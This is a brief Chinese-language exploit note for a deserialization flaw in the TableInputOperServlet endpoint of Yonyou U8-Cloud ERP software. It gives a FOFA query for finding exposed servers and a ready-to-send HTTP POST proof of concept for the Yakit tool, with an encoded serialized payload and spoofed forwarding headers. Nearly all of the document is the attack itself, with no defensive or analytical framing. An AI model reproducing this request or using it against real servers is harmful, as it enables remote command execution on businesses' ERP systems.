## 用友U8-Cloud-TableInputOperServlet存在反序列化漏洞

用友-U8-Cloud TableInputOperServlet存在反序列化漏洞，攻击者利用该漏洞可执行相关恶意命令。

## fofa
```
app="用友-U8-Cloud" || body="/api/uclient/public/"
```

数据包使用yakit发送
## poc
```
POST /service/~iufo/com.ufsoft.iuforeport.tableinput.TableInputOperServlet HTTP/1.1
Host: 
X-Forwarded-For: 127.0.0.10
X-Originating-IP: 127.0.0.10
X-Remote-Addr: 127.0.0.10
X-Remote-IP: 127.0.0.10

{{hexdec([encoded data, 13706 characters])}}
```
